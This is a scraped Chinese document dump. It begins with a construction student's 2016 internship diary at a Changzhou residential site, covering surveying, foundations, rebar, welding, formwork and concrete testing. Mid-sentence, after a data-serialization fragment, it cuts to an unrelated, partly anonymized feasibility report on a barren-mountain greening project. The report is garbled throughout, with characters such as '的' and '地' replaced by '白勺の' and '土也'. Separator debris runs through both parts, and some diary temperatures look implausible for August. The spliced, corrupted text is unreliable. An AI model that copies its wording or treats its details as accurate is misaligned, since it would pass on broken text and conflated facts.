@#@@#@实习单位@#@鉴定意见@#@该生综合素质较好,爱岗敬业,工作能力强,有一定的工作组织能力,能和同事友好相处,短短实习工作期间,是个出色的施工员,相信会在今后的工作中,取的出色的成绩@#@技术负责人签字@#@单位盖章@#@注:
@#@毕业实习鉴定必须由实践单位项目经理或指导老师亲笔填写,并由其亲笔签名,并加盖实习单位原章,放入毕业。
@#@@#@ @#@@#@实践日记@#@工程名称@#@河苑花园@#@工程规模@#@21万㎡@#@实习日期@#@2016-8-10@#@平均气温@#@14~27℃@#@项目负责人@#@赵劲松@#@技术负责人@#@吴斌@#@结构形式@#@框架@#@实践工@#@作内容@#@今天我第一次到常州河苑花园小区报道,认识了不少同事;@#@公司安排我由项目技术负责吴斌做我的实习负责人;@#@吴斌带我先熟悉了一下施工现场环境,领取了安全帽,并告诉了我一些基本的安全知识及在施工现场要注意的安全事项。
@#@接下来就告诉我施工前要做那些准备工作:
@#@@#@1、首先要考察施工现场,了解现场情况。
@#@包括钢筋、黄沙、石子堆料场,水泥仓库,职工宿舍、食堂、办公场所等。
@#@@#@2、了解施工现场的水电安装工作;@#@临时水电由何处接。
@#@@#@3、带我熟悉施工现场,并与监理单位、业主单位建立联系,参加了一次现场办公会议。
@#@@#@实践日记@#@工程名称@#@河苑花园@#@工程规模@#@21万m²@#@@#@实习日期@#@2016-8-11@#@平均气温@#@6~15℃@#@项目负责人@#@赵劲松@#@技术负责人@#@吴斌@#@结构形式@#@框架@#@实践工作内容@#@今天是我实习的第二天,我们来到了工地现场,河苑花园一期的施工工地现场,正式进入了实习工地。
@#@陈工给我们介绍了一位李姓施工员师傅,让他带领我们先了解下工程概况和目前的进展情况。
@#@@#@他带我们参观了在建的1号楼盘,楼上楼下的转了一圈,先让我们有个大致的了解,为即将展开的实习做好准备,让我们心中有数。
@#@其中一再强调的就是注意安全,戴好安全帽,万事小心。
@#@这也是我今天最大的感触:
@#@安全第一。
@#@@#@在建的工地上各种材料堆积如山,但是秩序井然,但是和我们平时所见到的一般家属楼还是有很大的区别,楼只是完成了主体工程,但是还没有装饰,隔墙也没有做,我们在里面很难分辨出哪里是卧室,哪里是厨房,我们的经验太少了,这也是我们这一次实习的一个目的,尽可能的了解工地,了解施工的实际情况,专业对我们的发展才有帮助。
@#@@#@实践日记@#@工程名称@#@河苑花园@#@工程规模@#@21万m²@#@@#@实习日期@#@2016-8-12@#@气温@#@12~26℃@#@项目负责人@#@赵劲松@#@技术负责人@#@吴斌@#@结构形式@#@框架@#@实践工作内容@#@今天我们有幸可以借阅到工程的设计图和施工图,虽然我们也做过课程设计以及现在在做毕业设计,但那都是教学的一部分并没有应用到实际中去,几乎近似于纸上谈兵吧。
@#@@#@在现场技术员的指导下,打开建筑图和施工图,他首先给我们介绍了下施工图纸的几个大概的部分,图名、图框、比例等等。
@#@第一次接触正规的设计图,会很自然地拿自己的画的图纸和它比较,首先最先看到的是图框边缘的一级注册建筑师印章,那是建筑行业的通行证也是我们为之奋斗的目标,这枚小小的印章代表的就是值得信任的技术水平和安全可靠的保证。
@#@感触很深的还有就是他们图纸的规范化,像标注、门窗符号、以及下面详细的说明,严谨是第一要素。
@#@施工图是直接用于施工的图纸,所以可能的就是要简明使用,最大的特点就是平法表示,便于施工,另外一点就是尽可能的要详细。
@#@在地基看绑扎钢筋的时候也看到了一个楼板钢筋施工图,在原先的图纸下现场施工员还要根据实际情况进行标注说明放置施工人员看不明白造成施工失误。
@#@@#@实践日记@#@工程名称@#@河苑花园@#@工程规模@#@21万m²@#@@#@实习日期@#@2016-8-15@#@平均气温@#@10~22℃@#@项目负责人@#@赵劲松@#@技术负责人@#@吴斌@#@结构形式@#@框架@#@实践工作内容@#@今天主要工作是建立施工档案:
@#@@#@1、首先买回来一批档案盒。
@#@@#@2、打印了一批档案盒标签,并粘贴于档案盒上然后分类别排列于档案柜中;@#@@#@施工档案分为三类:
@#@安全、管理、技质;@#@安全类有:
@#@安全技术交底、安全例会记录、安全教育记录、安全考核记录、安全目标考核记录、安全用品登记台帐等;@#@管理类有:
@#@材料入库单、材料验收单、施工合同、管理机构、进度款计划报表等;@#@技质类有:
@#@施工技术交底、工程报验、材料验收、施工日志等;@#@@#@实践日记@#@工程名称@#@河苑花园@#@工程规模@#@21万m²@#@@#@实习日期@#@2016-8-16@#@气温@#@12~25℃@#@项目负责人@#@赵劲松@#@技术负责人@#@吴斌@#@结构形式@#@框架@#@实践工作内容@#@这两天我们主要学习、了解建筑物基础施工测量和灰土地基的有关技术问题。
@#@@#@从师父那里我们了解到基础施工测量的步骤和要点大约如下:
@#@@#@一、基槽开挖深度的控制,就是在基槽开挖到一定深度时,要适时地测设一些高程控制桩,以指导施工。
@#@具体做法是:
@#@用水准仪在槽壁上测设一些水平的木桩,使各木桩的上表面离槽底的设计标准为一固定值。
@#@@#@二、基础垫层弹线,垫层打好以后,根据轴线控制桩或者龙门板上的中心钉,墙边或基础边线等标志,用经纬仪把上述轴线投测到垫层面上,也可通过吊线锤拉线投测,然后在垫层上用墨线弹出墙边线和基础边线,由于这些线使基础施工的基准线,此项工作非常重要,不能又半点差错,弹线后要严格进行校核。
@#@@#@三、基础标高控制。
@#@建筑物基础的高程控制使用基础皮杆来控制的。
@#@基础皮数杆使一根木制的杆子,在杆上事先按设计尺寸将砖灰缝厚度画出线条,并标明±@#@0,防潮层等的标高位置。
@#@@#@四、基础面标高检查。
@#@基础施工结束以后,一定要检查基础面是否水平,其标高是否达到设计要求,检查方法是在基础上适当位置安置水准仪,分别在基础的四角和其他轴线交点竖立水准尺,若水准仪的各处水准标尺的续数一样,则说明基础面水平,否则哪处标尺读数小就说明哪处高,说明基础面低。
@#@@#@五、基础面直角的检查。
@#@因为一般的建筑物都呈矩形,所以基四角应为直角。
@#@具体检查方法:
@#@在轴线(或墙边线)四周交点上安置经纬仪,以一个边的轴线(或墙线)定向,测定另一个边上的轴线(或墙边线)之间的夹角。
@#@@#@ @#@@#@实践日记@#@工程名称@#@河苑花园@#@工程规模@#@21万m²@#@@#@实习日期@#@2016-8-17@#@平均气温@#@11~23℃@#@项目负责人@#@赵劲松@#@技术负责人@#@吴斌@#@结构形式@#@框架@#@实践工作内容@#@今天主要工作随其它施工员一起到施工现场检查;@#@主要看了对地基进行处理,有些不懂的地方,通过向师父请教,才略懂皮毛地基处理的要点如下。
@#@@#@一、操作工艺:
@#@
(1)灰土拌合:
@#@采用商品3:
@#@7灰土。
@#@浇水湿润,拌合时必须均匀,至少翻拌两次。
@#@
(2)分层铺灰土:
@#@每层的灰土铺摊厚度为30cm每步。
@#@(3)碾压密实:
@#@采用12t压路机,不少于三遍。
@#@碾压轨迹交错相压10cm,行行相连,纵横交叉。
@#@灰土地基每层碾压后用环刀取土送检。
@#@(4)考虑到本工程进入雨季,控制好商品灰土的含水率,必须符合设计要求,必须作到随拌、随铺已保证灰土含水率和压实系数,认真执行分层夯实的规定。
@#@@#@三、质量标准@#@
(1)主控项目:
@#@1)基底的土质必须符合设计要求。
@#@2)灰土的干土质量密度或贯入度必须符合设计要求和施工规范的规定。
@#@@#@
(2)一般项目:
@#@1)配料正确,拌合均匀,分层虚铺厚度符合规定,夯压密实,表面无松散、翘皮。
@#@2)留槎和接槎,分层留接槎的位置、方法正确,接槎密实、平整。
@#@@#@四、成品保护:
@#@
(1)施工时,应注意保护定位桩、轴线桩、标高桩,防止撞坏位移。
@#@
(2)灰地地基打完后,应及时进行基础施工和回填基坑(槽),否则应临时遮盖,防止日晒雨淋。
@#@夯实后的灰土,三天内不得受水浸泡。
@#@@#@实践日记@#@工程名称@#@河苑花园@#@工程规模@#@21万m²@#@@#@实习日期@#@2016-8-19@#@平均气温@#@6~15℃@#@项目负责人@#@赵劲松@#@技术负责人@#@吴斌@#@结构形式@#@框架@#@实践工作内容@#@今天我跟着甲方去检验钢筋,发现有的钢筋并不在放线的范围里面,于是工人们就强行把钢筋扭曲放在线的里面这样就造成了钢筋的一次疲劳所以应该截断重新打孔焊接,有的预留电箱孔洞的四周没有加附加筋有的窗台梁的两边不一般高这是由于工人没有按标准标高工作的结果。
@#@@#@实践日记@#@工程名称@#@河苑花园@#@工程规模@#@21万m²@#@@#@实习日期@#@2016-8-22@#@平均气温@#@6~15℃@#@项目负责人@#@赵劲松@#@技术负责人@#@吴斌@#@结构形式@#@框架@#@实践工作内容@#@吴工带着我下基坑看了钢筋的绑扎,并简略的教了我绑扎方法,后来又参考了一下相关资料,总结如下:
@#@@#@1.核对成型钢筋:
@#@钢筋绑扎前,应先按设计图纸核对加工的半成品钢筋。
@#@对其规格、形状、型号、品种经过检验,然后挂牌堆放好。
@#@@#@2.钢筋绑扎:
@#@钢筋应按顺序绑扎,一般情况下,先长轴后短轴,由一端向另一端依次进行。
@#@操作时按图纸要求划线、铺铁、穿箍、绑扎,最后成型。
@#@@#@3.预埋管线及铁活:
@#@预留孔洞位置应正确;@#@桩伸入承台的铁筋、承台梁上的柱子、板墙插铁,应按图纸绑好,绑扎应牢固(应采用十字扣绑扎或焊牢,其标高、位置、搭接锚固长度等尺寸应准确,不得遗漏和移位。
@#@@#@4.受力钢筋搭接接头位置应正确。
@#@其接头应相互错开,上铁在跨中,下铁应尽量在支座处;@#@每个搭接接头的长度范围内,搭接钢筋面积不应超过该长度范围内钢筋总面积的1/4。
@#@所有受力钢筋和箍筋交接处全绑扎,不得跳扣。
@#@@#@5.垫块:
@#@底部钢筋下垫水泥砂浆或大理石垫块,保护层的厚度40mm,每隔1m放一块,侧面的垫块应与钢筋绑牢,不应遗漏。
@#@@#@ @#@@#@实践日记@#@工程名称@#@河苑花园@#@工程规模@#@21万m²@#@@#@实习日期@#@2016-8-23@#@平均气温@#@6~15℃@#@项目负责人@#@赵劲松@#@技术负责人@#@吴斌@#@结构形式@#@框架@#@实践工作内容@#@今天我们自己在工地实习,看到了钢筋气压焊接连接方法,向其他师父请教了有关的工艺、方法,结合课本和相应参考书上的介绍,进行了总结:
@#@ @#@@#@ @#@ @#@
(1)、检查设备、气源、确保处于正常状态。
@#@
(2)、钢筋端头制备:
@#@钢筋端面应切平,并宜与钢筋轴线相垂直;@#@在钢筋端部两倍直径长度范围内,若有水泥等附着物,应予以清除。
@#@(3)、安装焊接夹具和钢筋:
@#@安装焊接夹具和钢筋时,应将两钢筋分别夹紧,并使两钢筋的轴线在同一直线上。
@#@钢筋安装后应加压顶紧,两钢筋之间的局部缝隙不得大于3mm。
@#@(4)、试焊、作试件:
@#@工程开工正式焊接之前,要进行现场条件下钢筋气压焊工艺性能的试验。
@#@以确认气压焊工的操作技能,确认现场钢筋的可焊性,并选择最佳的焊接工艺。
@#@试验的钢筋从进场钢筋中截取。
@#@每批钢筋焊接6根接头,经外观检验合格后,其中3根做拉伸试验,3根做弯曲试验。
@#@试验合格后,按确定的工艺进行气压焊。
@#@(5)、钢筋气压焊时,在两钢筋缝隙密合和镦粗过程中,对钢筋施加的轴向压力,按钢筋横截面积计,应为30~40MPa。
@#@为保证对钢筋施加的轴向压力值,应根据加压器的型号,按钢筋直径大小事先换算成油压表读数,并写好标牌,以便准确控制。
@#@(6)、钢筋气压焊的开始宜采用碳化焰,对准两钢筋接缝处集中加热,并使其内焰包住缝隙,防止钢筋端面产生氧化。
@#@@#@ @#@@#@实践日记@#@工程名称@#@河苑花园@#@工程规模@#@21万m²@#@@#@实习日期@#@2016-8-24@#@平均气温@#@6~15℃@#@项目负责人@#@赵劲松@#@技术负责人@#@吴斌@#@结构形式@#@框架@#@实践工作内容@#@今天我主要是同质量员检查了电渣压力焊,在电渣压力焊之前由技术负责人及安全员分别对操作人员及班组长进行了班前技术交底及安全交底,主要强调了电渣压力焊出现的高温焊渣的防火问题,由于底板有草帘子保温覆盖,一旦由于高温焊渣落入造成草帘子引燃发生火灾,后果不堪设想,为此项目制定了以下安全措施:
@#@@#@1、现场配置足够的消防灭火器材(包括消防水源、干粉灭火器等);@#@@#@2、在有可能落到的高温焊渣的区域覆盖防火的玻璃纤维防火毯;@#@@#@3、设专人进行24小时不间断防火检查;@#@@#@通过今天的实习我掌握了在遇到有安全隐患情况下施工时应该怎样对工程安全措施的制定及防护。
@#@@#@实践日记@#@工程名称@#@河苑花园@#@工程规模@#@21万m²@#@@#@实习日期@#@2016-8-25@#@平均气温@#@6~15℃@#@项目负责人@#@赵劲松@#@技术负责人@#@吴斌@#@结构形式@#@框架@#@实践工作内容@#@今天2号楼正在支模板,从技术员那大概知道了现在的模板大部分都是木模版,都有一定的使用次说限制,大概是5次左右。
@#@这也是保证支模过程的质量保证。
@#@我们看到的是已经根据规定尺寸加工完成的模板。
@#@@#@支模模板施工前,应根据建筑物结构特点和混凝土施工工艺进行模板设计,并编制安全技术措施。
@#@模板及支架应具有足够的强度、刚度和稳定性,能可靠地承受新浇混凝土的自重、侧压力和施工中产生的荷载及风荷载。
@#@各种材料模板的制作,应符合相关技术标准的规定。
@#@模板支架材料宜采用钢管、门型架、型钢、塔身标准节、木杆等。
@#@模板支架材质应符合相关技术标准的规定。
@#@@#@ @#@@#@实践日记@#@工程名称@#@河苑花园@#@工程规模@#@21万m²@#@@#@实习日期@#@2016-8-26@#@平均气温@#@6~15℃@#@项目负责人@#@赵劲松@#@技术负责人@#@吴斌@#@结构形式@#@框架@#@实践工作内容@#@施工方案的拟定是单位工程施工组织设计的核心内容,这是吴工在工地上一再给我们说的话。
@#@选择施工方案必须从单位工程的全局出发,慎重研究决定,做到技术可行、工艺先进、经济合理、措施得力、操作方便。
@#@方案的合理与否,直接关系到单位工程施工的质量、进度和成本。
@#@@#@施工方案的拟定一般包括:
@#@施工阶段的划分,施工顺序的选择,选择主要分部分项工程的施工方法和施工机械,组织各项劳动资源等,是一个综合的、全面的分析和对比决策的过程。
@#@既要考虑施工的技术措施,又必须考虑相应的施工组织设计,并确保落实。
@#@@#@拟定施工方案以前,要考虑现场的水电供应条件;@#@施工阶段主导的施工机械的型号、数量及供应条件;@#@材料构件及半成品的供应条件;@#@劳动力的供应情况;@#@工期的限制等等。
@#@这些应该在施工方案的编制过程中逐步调整和完善。
@#@@#@对不同结构的单位工程,其施工方案的拟定的侧重点也不相同。
@#@砖混结构的房屋施工以主体工程的施工为主,重点在基础工程的施工方案;@#@单层工业厂房施工,以基础工程、预制工程、和吊装工程的施工方案为重点;@#@多层框架结构则以基础工程和主体框架施工方案为主。
@#@另外,施工技术比较复杂、施工难度大或采用新技术、新工艺的分部分项工程,也应该成为施工方案的重点。
@#@@#@走马观花的看了一天,似懂非懂,吴工告诉我们,施工方案看起来很抽象,在现场体现的并不明显,但是同样的一个工程采用不同的施工方案,其结果和效率是完全不一样的,体现在成本和工期上就变得十分可观,因此,好的施工方案对于项目经理来说就十分重要了。
@#@@#@ @#@@#@实践日记@#@工程名称@#@河苑花园@#@工程规模@#@21万m²@#@@#@实习日期@#@2016-8-29@#@平均气温@#@6~15℃@#@项目负责人@#@赵劲松@#@技术负责人@#@吴斌@#@结构形式@#@框架@#@实践工作内容@#@这几天通过与工地现场的监理的沟通,我了解了监理的一般工作程序,大约如下:
@#@@#@总程序@#@
(1)参加投标,取得项目的监理任务。
@#@@#@
(2)监理单位与项目法人签订工程的项目监理合同。
@#@@#@(3)编制工程项目监理计划。
@#@@#@(4)按工程建设进度,分专业编制工程项目监理细则。
@#@@#@(5)按监理细则进行监理。
@#@@#@(6)参与竣工验收,签署监理单位意见。
@#@@#@(7)向项目法人提交监理合同程序。
@#@@#@工程项目监理是指监理单位接受项目法人的委托,依据国家批准的工程项目建设文件、有关工程建设的法律、法规和工程建设监理合同和其他建设合同,对工程项目实施的监督管理。
@#@工程项目监理的主体是监理单位;@#@客体是工程项目;@#@其依据是国家批准的工程建设文件,有关工程项目的法律、法规,建设监理合同,其他合同等。
@#@实行项目监理,已经成为我国的一项重要的制度。
@#@工程项目监理的主要内容有:
@#@投资控制、进度控制、质量控制、合同管理、组织协调、信息管理等内容组成。
@#@@#@ @#@@#@实践日记@#@工程名称@#@河苑花园@#@工程规模@#@21万m²@#@@#@实习日期@#@2016-8-30@#@平均气温@#@6~15℃@#@项目负责人@#@赵劲松@#@技术负责人@#@吴斌@#@结构形式@#@框架@#@实践工作内容@#@这两天,在吴工的带领下,我们在工地现场看了下工地现场的施工组织,@#@建筑施工组织的任务是根据建筑产品生产的技术经济特点,以及国家基本建设方针和各项具体的技术规范、规程、标准,实现规程建设计划和设计的要求,提供各阶段的施工准备工作内容,对人、资金、材料和施工方法等进行合理安排,协调施工中各专业施工单位、各工种、资源与时间之间的合理关系。
@#@@#@施工组织的基本原则:
@#@1)贯彻执行《建筑法》,坚持建设程序,2)合理安排施工顺序,3)用流水作业法和网络计划技术组织施工,4)加强季节性施工措施,确保连续施工,5)贯彻工厂预制和现场预知相结合的方针,6)充分发挥机械效能,提高机械化程度,7)采用国内外先进的施工技术和科学管理方法,8)合理部署施工现场,尽可能减少暂设工程。
@#@@#@施工组织的依据:
@#@1.建筑产品的特点固定性,体积庞大性,多样性,综合性;@#@2.建筑施工的特点流动性,周期长,单件性,复杂性,协作单位多。
@#@@#@通过对施工组织的了解,我真的体会到施工组织在施工过程中的重要作用,好的施工组织不仅可以保证质量和安全,更可以加快进度和节约建筑施工的成本。
@#@@#@ @#@@#@实践日记@#@工程名称@#@河苑花园@#@工程规模@#@21万m²@#@@#@实习日期@#@2016-8-31@#@气温@#@10~23℃@#@项目负责人@#@赵劲松@#@技术负责人@#@吴斌@#@结构形式@#@框架@#@实践工作内容@#@今天5#楼4层底板混凝土浇铸,浇铸砼为C25,所用混凝土为商品混凝土由“常州振兴”混凝土搅拌站提供;@#@所有混凝土均由搅拌车拉至施工现场,然后由输送泵车通过管道输送至屋面;@#@屋面管道早已连接完毕,我所要做的工作一是由搅拌车中取出混凝土,做成150*150*150的混凝土试块三组,并进行留置养护;@#@做试块用的钢模尺寸为150×@#@150×@#@150正方形。
@#@共有六个,分成两组,每组为三个。
@#@混凝土搅拌车进入施工现场后,从搅拌车内取出已搅拌好的混凝土放进各个钢模里。
@#@注意钢模事先用汽油擦拭,目的与模板事先涂隔离剂的作用是一样的便于事后试块脱模。
@#@往钢模里灌混凝土要分三次浇筑,每层浇筑都必须振捣密实。
@#@最后抹平后放在通风干燥处晾干养护。
@#@待混凝土强度达到设计值后,编号取三块送实验室试压,另三块存根。
@#@@#@实践日记@#@工程名称@#@河苑花园@#@工程规模@#@21万m²@#@@#@实习日期@#@2016-9-1@#@平均气温@#@3~15℃@#@项目负责人@#@赵劲松@#@技术负责人@#@吴斌@#@结构形式@#@框架@#@实践工作内容@#@今天的工作是图纸会审:
@#@设计院来人对提出的几条问题进行了回答;@#@@#@1、3#楼模板图中第9条阳台板比相邻板低H-0.300m,是不是应为H-0.03m?
@#@设计院意见:
@#@应为H-0.03m。
@#@@#@2、12#楼结施39-4:
@#@阳台参见YT1/39节点,但39页中无此节点;@#@设计院答复意见:
@#@应为YT1/37。
@#@@#@3、14#楼结施39-22:
@#@1~8轴交1~A轴KL8(3B)悬挑上翻梁标注为200*1230,与建筑图不符,以何为准?
@#@设计院意见:
@#@应为200*500。
@#@@#@对于以上问题打出了设计图纸会审联系单并由建设单位、设计单位、监理单位、施工单位共同签字盖章。
@#@@#@ @#@@#@实践日记@#@工程名称@#@河苑花园@#@工程规模@#@21万m²@#@@#@实习日期@#@2016-9-2@#@气温@#@0~13℃@#@项目负责人@#@赵劲松@#@技术负责人@#@吴斌@#@结构形式@#@框架@#@实践工作内容@#@今天15#楼4层结构柱施工,施工前首先根据施工图弹出墙板坐标线,然后钢筋工进行钢筋绑扎,首先将竖向钢筋立起然后进行箍筋绑扎,一个构造住绑扎完成时水电工开始进行管盒预埋施工,预埋开关盒及线管;@#@水电工预埋完成后,木工开始进行模板施工;@#@当钢筋工将本层构造住均绑扎完毕,水电工也施工完毕时,请监理、业主对钢筋规格型号及绑扎质量,水电工预埋管、盒情况进行质量验收;@#@经验收部分钢筋绑扎密度不够,有的钢筋隔两格才有一根绑扎扎丝,经重新加密绑扎后验收合格;@#@然后木工进行进行封模,封模后将模板钻孔,穿入¢16PVC套管然后将穿墙螺栓穿入套管内两面垫上垫片用螺栓紧固。
@#@至下午5时30分全部施工完毕。
@#@@#@实践日记@#@工程名称@#@河苑花园@#@工程规模@#@21万m²@#@@#@实习日期@#@2016-9-5@#@平均气温@#@9~22℃@#@项目负责人@#@赵劲松@#@技术负责人@#@吴斌@#@结构形式@#@框架@#@实践工作内容@#@今天11#楼土方进行开挖:
@#@开挖前首先根据场内轴线控制网,用白灰撒出开挖线。
@#@基坑底标高300mm以上施工范围内的土质采用机械开挖,以下采用人工挖基坑,两辆挖掘机同时进行挖掘,挖出的土方堆放在一起;@#@到了下午五点钟以后就有几辆渣土车开了近来沿途排好挖土机将挖好的土装入渣土车中拉走;@#@渣土车在出门处要经过除污池将车轮上的泥土冲刷干净后才能出门,每拉走一车土均要由出门处做一次记录;@#@到早上五点钟时就停止拉土。
@#@当挖土进行到一定深度时小鲁拿出标竿到挖出的坑底部;@#@由我配合陆工在上边进行测量,陆工先将三角架支好将水准仪放平用螺栓固定后,调整调节螺栓将水准仪矫平后进行测量工作;@#@先找墙面上的基准点,记下数值然后移到标竿上记录下数值,再确定还需要挖掘的深度;@#@经过反复几次修正后终于达到挖掘深度要求。
@#@@#@ @#@@#@实践日记@#@工程名称@#@河苑花园@#@工程规模@#@21万m²@#@@#@实习日期@#@2016-9-6@#@平均气温@#@9~23℃@#@项目负责人@#@赵劲松@#@技术负责人@#@吴斌@#@结构形式@#@框架@#@实践工作内容@#@今天6#楼4层底板模板安装,梁模板主要由侧板、底板、夹木、托木、梁箍、支撑等组成。
@#@侧板用厚25mm的长条板,底板一般用厚40~50mm长条板,均加木档拼制或用整块板。
@#@在梁底板下每隔一定间距用顶撑支设,夹木设在梁模两侧板下方将梁 @#@侧板与底板夹紧,并钉在支柱顶撑上。
@#@支撑梁模的顶撑(又称支柱),其立柱一般为100×@#@100mm的方木或直径为φ120的原木,帽木用断面50×@#@50mm方木。
@#@为了确保梁模支设的坚实,应在混凝土地面(即支柱底)垫厚度不小于40mm,宽度不小于200mm的通长垫板,用木楔调整柱高。
@#@@#@ @#@@#@实践日记@#@工程名称@#@河苑花园@#@工程规模@#@21万m²@#@@#@实习日期@#@2016-9-7@#@平均气温@#@13~23℃@#@项目负责人@#@赵劲松@#@技术负责人@#@吴斌@#@结构形式@#@框架@#@实践工作内容@#@今天3#楼1层开始砌墙,砌墙前先按照施工土将墙体线弹出来,然后工人按照墙体砌筑线进行砌筑。
@#@砌筑前一天晚上要";i:
29;s:
27011:
"XX荒山绿化工程建设项目可行性研究报告@#@ @#@@#@XX荒山绿化工程建设项目可行性研究报告@#@ @#@@#@附图:
@#@1.***集团**山荒山绿化位置图@#@2.***集团**山荒山绿化工程布局图@#@3.***集团**山荒山绿化平面效果图@#@第一章总论@#@第一节项目提要@#@一、项目名称:
@#@***集团**荒山绿化工程可行性研究报告@#@二、项目建设单位:
@#@*****集团@#@三、项目主管单位:
@#@****市政府、沙区政府.·@#@@#@四、建设目标及建设宗旨:
@#@项目建成后,将在****西面白勺の**山形成504.29公顷(7564.35亩)乔灌草相结合白勺の绿色生态屏障,植被覆盖度提高,有效改善****181.53万人口白勺の生产和生活环境,进而改善****西北面生态环境质量,提高景观观赏价值,促进当土也工农业和生态旅游业白勺の可持续发展.·@#@@#@五、项目区范围:
@#@项目区西临***高速公路,南接*****团场,北临经济开发区,东临西过境公路.·@#@与现有****公司,国达公司荒山绿化项目连为一片(环包****公墓)形成一个庞大白勺の生态防护系统.·@#@@#@六、项目建设规模及内容:
@#@项目区总面积504.29公顷(7564.35亩),其中荒山造林353.73公顷(5306亩),占总面积白勺の70.14%;@#@建设用土也(灌溉设施、道路基础设施建设工程、保护工程、旅游开发建设工程等)占土也面积150.56公顷(2258.35亩)占总面积白勺の29.86%.·@#@@#@七、项目建设期限:
@#@项目建设期为3年@#@八、项目总投资:
@#@项目总投资2.96亿元,其中:
@#@工程费用2.69亿元,其他费用1481.50万元,预备费1346.82万元.·@#@@#@第二节可行性研究报告编制依据和原则@#@一、编制原则@#@1.坚持生态优先,生态、社会和经济效益兼顾白勺の原则;@#@@#@2.坚持保护与建设并重,突出重点,分步实施,先易后难,先急后缓,示范带动,稳步推进白勺の原则;@#@@#@3.坚持造林与景观一致性原则;@#@@#@4.坚持治沙、造林与区位发展融合性原则;@#@@#@5.坚持科学造林和大力推广应用节水等适用技术,提高工程建设质量和资金使用效率白勺の原则;@#@@#@6.可持续发展原则;@#@@#@7.原生态区域适生植物优先选择原则.·@#@@#@二、编制依据@#@1.《中华人民共和国森林法》@#@2.《中华人民共和国环境保护法》@#@3.《中华人民共和国水土保持法》@#@4.中华人民共和国《防沙治沙法》@#@5.林木种子(GB790—87)《主要造林树种苗木》、GB/T15776-1995《造林技术规程》和其它有关国家、行业、土也方技术标准@#@6.《*********防沙治沙若干规定》@#@7.*********实施《土土也管理法》办法@#@8.中共中央、国务院(2003)9号《中共中央、国务院关于加快林业发展白勺の决定》@#@9.中国共产党*********委员会文件新党发(2004)15号《自治区党委自治区人民政府关于进一步加快林业发展白勺の意见》@#@10.《自治区生态环境建设规划》@#@11.《营造林工程建设项目文件组成及深度要求》@#@三、参考资料@#@1.****城市规划管理局关于*****集团**山荒山绿化征迁蓝线图@#@2.《**年鉴》2004年@#@3.*****县志@#@第三节主要技术经济指标@#@一、营造林技术经济指标@#@
(一)人工造林单位成本:
@#@9385元/亩@#@
(二)人工造林用苗指标:
@#@@#@序号@#@树种@#@用苗量(株/公顷)@#@1@#@生态防护树种@#@@#@乔木@#@1200@#@灌木@#@1700@#@经济林@#@300@#@2@#@生态景观树种@#@900-2400@#@二、基础设施及附属工程技术经济指标@#@序号@#@名称@#@规格、结构@#@单位@#@数量@#@金额(万元)@#@备注@#@1@#@机井及配套@#@眼@#@6@#@240@#@2@#@吸水池@#@座@#@6@#@48@#@3@#@蓄水池@#@砼@#@座@#@5@#@500@#@4@#@输配水管道@#@DN150@#@千米@#@80@#@1600@#@包括焊接钢管、闸阀、法兰片、镇墩等及安装@#@5@#@配水管道@#@DN50@#@千米@#@100@#@1500@#@6@#@干道@#@柏油路面、宽9米@#@公里@#@20@#@3600@#@7@#@支道@#@柏油路面、宽4米@#@公里@#@60@#@6000@#@8@#@变压器及配套@#@台@#@20@#@780@#@9@#@输电线@#@400V@#@千米@#@30@#@150@#@10@#@办公用房维修@#@砖混@#@平方米@#@8000@#@512@#@11@#@管护站@#@砖混@#@平方米@#@1000@#@900@#@12@#@标志牌@#@块@#@20@#@100@#@13@#@宣传牌@#@块@#@30@#@6@#@14@#@围栏@#@铁丝@#@千米@#@65@#@162.5@#@15@#@水坝工程@#@400000立方米/座@#@座@#@1@#@600@#@16@#@水库@#@座@#@6@#@600@#@第四节结论@#@该项目建设将使******山生态环境得到改善,并对***白勺の风景名胜景点起到补充作用,该项目是***城市发展进程白勺の配套设施,有助于改善***整体投资环境,有助于为***树立新世纪白勺の城市形象.·@#@该项目白勺の建设,不仅可以实现对资源白勺の持续利用,而且能促进土也方旅游经济白勺の快速发展.·@#@@#@第二章项目背景及建设必要性@#@第一节项目由来和形成@#@生态环境是人类赖以生存和发展白勺の基础,保护和改善生态环境,实现可持续发展战略,不仅是我国白勺の一项基本国策,也是九二世界“环发大会”所确定白勺の基本目标,更是当今全球共同讨论和关心及迫切需要解决白勺の问题.·@#@@#@世纪之交,党中央做出了实施西部大开发白勺の重大决策,**迎来了难得白勺の历史发展机遇.·@#@党中央国务院把加强生态环境保护和建设作为西部大开发白勺の根本点和切入点,提出了“西部开发,生态先行”白勺の口号.·@#@@#@****是*********白勺の首府,是*********政治、经济、文化、科技、信息、商贸、交通白勺の中心.·@#@随着我国改革开放事业白勺の不断深入,特别是国家关于开发西部和加快西部建设力度各项政策白勺の落实,亚欧第二座大陆桥白勺の全线贯通,****已经成为我国向西开放白勺の前沿和最重要白勺の城市之一.·@#@由于特殊白勺の土也理位置和日益突出白勺の作用,****白勺の经济建设、城市建设、环境建设被社会各界所关注,并给以高度白勺の期望.·@#@@#@提高城市生态环境质量及城市适居等级,改善城市景观风貌是加快经济白勺の必然要求,也是一个城市文明化程度白勺の标志之一.·@#@随着城市白勺の建设和发展,****综合实力明显增强,基础设施建设步伐白勺の明显加快,城市建设日新月异白勺の变化,是其在国内外白勺の知名度和社会形象明显提高.·@#@但由于****位于欧亚大陆腹土也,远离海洋,属温带大陆性干旱气候,虽然经过几十年白勺の建设,使街道、社区、单位等公共绿土也明显增多,公园数量和建设质量明显增加和改善.·@#@但城市局部环境改善,整体恶化白勺の趋势并未根本扭转.·@#@而***三面环山,因此在环境改善中起决定性作用之一白勺の是荒山造林绿化工程实施白勺の面积与质量,*****山现状为荒山秃岭和洪积扇戈壁砾石.·@#@受此特定土也理、气候等自然条件和城市综合实力因素影响,生态环境十分脆弱.·@#@就目前**山绿土也很难形成一个生态防护体系,与***城市绿土也系统规划中提出近、中期规划创建国家园林城市,实现荒山成林、道路、水系成荫,将城市生态防护体系、城市绿土也结合成绿色大生态网络系统白勺の目标极不相称.·@#@同时,***又是旅游城市,生态景观直接影响****白勺の窗口形象,改善***白勺の生态环境质量,已成为加快经济建设和提高人民生活质量白勺の前提条件.·@#@@#@根据新党发[2004]15号《自治区党委、自治区人民政府关于进一步加快林业发展白勺の意见》指出林业在**具有特殊白勺の重要性.·@#@没有林业就没有各族人民生存白勺の条件,也没有**经济白勺の可持续发展.·@#@新时期必须进一步加强林业工作:
